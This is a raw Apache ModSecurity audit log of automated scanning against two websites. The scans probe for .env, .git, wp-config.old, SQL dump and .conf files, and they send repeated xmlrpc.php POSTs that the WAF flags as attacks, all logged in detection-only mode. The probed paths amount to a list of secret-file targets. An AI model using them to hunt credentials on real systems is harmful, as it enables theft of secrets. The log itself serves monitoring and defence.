[severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/tmp/.env"] [unique_id "aE8oRz3D4g1mGjVnV5KLVAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018119475133 673234 (- - -) Stopwatch2: 1750018119475133 673234; combined=1658, p1=376, p2=1186, p3=0, p4=0, p5=96, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ada27178-Z-- --6483dc40-A-- [16/Jun/2025:01:38:44.323413 +0530] aE8oS7SOi14Mt1Fv4_TA1wAAAAo 185.177.72.210 49870 127.0.0.1 7081 --6483dc40-B-- GET /Nodejs-Projects/play-ground/login/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6483dc40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8416e10b54163cb2937b7b305a56a5691750018124; expires=Sun, 15 Jun 2025 21:08:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6483dc40-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Nodejs-Projects/play-ground/login/.env"] [unique_id "aE8oS7SOi14Mt1Fv4_TA1wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018123558068 765408 (- - -) Stopwatch2: 1750018123558068 765408; combined=1784, p1=382, p2=1289, p3=0, p4=0, p5=112, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6483dc40-Z-- --78ebe840-A-- [16/Jun/2025:01:38:48.830582 +0530] aE8oUD6fDirgE_qJvgHOagAAAAA 185.177.72.210 50220 127.0.0.1 7081 --78ebe840-B-- GET /:8008/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --78ebe840-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=039f846b04a2f505ed1c789f9088b9fb1750018128; expires=Sun, 15 Jun 2025 21:08:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --78ebe840-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/staging/.env"] [unique_id "aE8oUD6fDirgE_qJvgHOagAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018128136385 694271 (- - -) Stopwatch2: 1750018128136385 694271; combined=2146, p1=391, p2=1651, p3=0, p4=0, p5=103, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --78ebe840-Z-- --26729125-A-- [16/Jun/2025:01:39:07.704141 +0530] aE8oYwmPiipnjM18nBTyqQAAAAs 185.177.72.210 36070 127.0.0.1 7081 --26729125-B-- GET /lg/lg.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --26729125-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bd7b65b850a774c6a04be1a1a00ff4b91750018147; expires=Sun, 15 Jun 2025 21:09:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --26729125-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/lg/lg.conf"] [unique_id "aE8oYwmPiipnjM18nBTyqQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018147017290 686916 (- - -) Stopwatch2: 1750018147017290 686916; combined=2014, p1=433, p2=1486, p3=0, p4=0, p5=94, sr=140, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --26729125-Z-- --b45cae4f-A-- [16/Jun/2025:01:39:08.702671 +0530] aE8oZLSOi14Mt1Fv4_TA6AAAAAo 185.177.72.210 36128 127.0.0.1 7081 --b45cae4f-B-- GET /:8000/.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b45cae4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a783e3b1000246ddd8f4f93ec7a057ea1750018148; expires=Sun, 15 Jun 2025 21:09:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b45cae4f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.dist"] [unique_id "aE8oZLSOi14Mt1Fv4_TA6AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018148041146 661610 (- - -) Stopwatch2: 1750018148041146 661610; combined=1947, p1=381, p2=1465, p3=0, p4=0, p5=100, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b45cae4f-Z-- --55365334-A-- [16/Jun/2025:01:39:09.727000 +0530] aE8oZQmPiipnjM18nBTyqgAAAAs 185.177.72.210 36164 127.0.0.1 7081 --55365334-B-- GET /.git/logs/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --55365334-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7fb13bfabdcb091bbcdb024b624ab9901750018149; expires=Sun, 15 Jun 2025 21:09:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --55365334-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/"] [unique_id "aE8oZQmPiipnjM18nBTyqgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018149039649 687662 (- - -) Stopwatch2: 1750018149039649 687662; combined=2083, p1=462, p2=1528, p3=0, p4=0, p5=92, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55365334-Z-- --62247a09-A-- [16/Jun/2025:01:39:37.609219 +0530] aE8ogAmPiipnjM18nBTyuAAAAAs 128.199.112.101 52224 127.0.0.1 7081 --62247a09-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --62247a09-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --62247a09-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8ogAmPiipnjM18nBTyuAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018176643738 965535 (- - -) Stopwatch2: 1750018176643738 965535; combined=2028, p1=367, p2=1300, p3=42, p4=58, p5=165, sr=103, sw=96, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --62247a09-Z-- --f0f4f45f-A-- [16/Jun/2025:01:40:33.357142 +0530] aE8ouNIbhVRiWyGD7lOHSQAAAAM 185.177.72.210 34416 127.0.0.1 7081 --f0f4f45f-B-- GET /:9000/administrateur/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f0f4f45f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=053eaa324cb8918bf334e0879cc9f3d81750018233; expires=Sun, 15 Jun 2025 21:10:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f0f4f45f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/administrateur/.env"] [unique_id "aE8ouNIbhVRiWyGD7lOHSQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018232596158 761049 (- - -) Stopwatch2: 1750018232596158 761049; combined=2071, p1=397, p2=1562, p3=0, p4=0, p5=111, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f0f4f45f-Z-- --b0a2ec63-A-- [16/Jun/2025:01:40:38.115290 +0530] aE8ovdIbhVRiWyGD7lOHUAAAAAM 128.199.112.101 34970 127.0.0.1 7081 --b0a2ec63-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b0a2ec63-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b0a2ec63-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8ovdIbhVRiWyGD7lOHUAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018237172761 942598 (- - -) Stopwatch2: 1750018237172761 942598; combined=2600, p1=529, p2=1622, p3=49, p4=67, p5=204, sr=144, sw=129, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b0a2ec63-Z-- --72294a57-A-- [16/Jun/2025:01:41:38.921473 +0530] aE8o-j6fDirgE_qJvgHOtgAAAAA 185.177.72.210 34192 127.0.0.1 7081 --72294a57-B-- GET /2010.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --72294a57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=44d3d1b77ee46de0794de720372cbded1750018298; expires=Sun, 15 Jun 2025 21:11:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --72294a57-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2010.sql"] [unique_id "aE8o-j6fDirgE_qJvgHOtgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018298270815 650741 (- - -) Stopwatch2: 1750018298270815 650741; combined=1626, p1=293, p2=1197, p3=0, p4=0, p5=136, sr=80, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72294a57-Z-- --df39537f-A-- [16/Jun/2025:01:41:39.016485 +0530] aE8o-gmPiipnjM18nBTy9wAAAAs 128.199.112.101 34172 127.0.0.1 7081 --df39537f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --df39537f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --df39537f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8o-gmPiipnjM18nBTy9wAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018298090098 926443 (- - -) Stopwatch2: 1750018298090098 926443; combined=2391, p1=381, p2=1407, p3=53, p4=73, p5=292, sr=109, sw=185, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df39537f-Z-- --df895d60-A-- [16/Jun/2025:01:41:51.352901 +0530] aE8pBofvqn7_SDWw_wX7EQAAAAc 185.177.72.210 46120 127.0.0.1 7081 --df895d60-B-- GET /wp-config.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --df895d60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=129db4e98855b315213d30387890871b1750018311; expires=Sun, 15 Jun 2025 21:11:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --df895d60-H-- Message: Warning. Matched phrase "wp-config.old" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "wp-config.old" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/wp-config.old"] [unique_id "aE8pBofvqn7_SDWw_wX7EQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wp-config.old"] [unique_id "aE8pBofvqn7_SDWw_wX7EQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018310602689 750290 (- - -) Stopwatch2: 1750018310602689 750290; combined=1569, p1=300, p2=1115, p3=0, p4=0, p5=154, sr=74, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df895d60-Z-- --984cdd36-A-- [16/Jun/2025:01:42:39.560161 +0530] aE8pNl4QpUmzcAFMV3bUUgAAAAI 128.199.112.101 60432 127.0.0.1 7081 --984cdd36-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --984cdd36-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --984cdd36-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8pNl4QpUmzcAFMV3bUUgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018358615486 944739 (- - -) Stopwatch2: 1750018358615486 944739; combined=2247, p1=370, p2=1487, p3=44, p4=65, p5=177, sr=107, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --984cdd36-Z-- --70d5bd4c-A-- [16/Jun/2025:01:42:57.473998 +0530] aE8pSGBSQiWwwCa-v2T-MwAAAAQ 185.177.72.210 38990 127.0.0.1 7081 --70d5bd4c-B-- GET /vtund.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --70d5bd4c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2e148225ae3ce4497c554759831e057c1750018377; expires=Sun, 15 Jun 2025 21:12:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --70d5bd4c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: 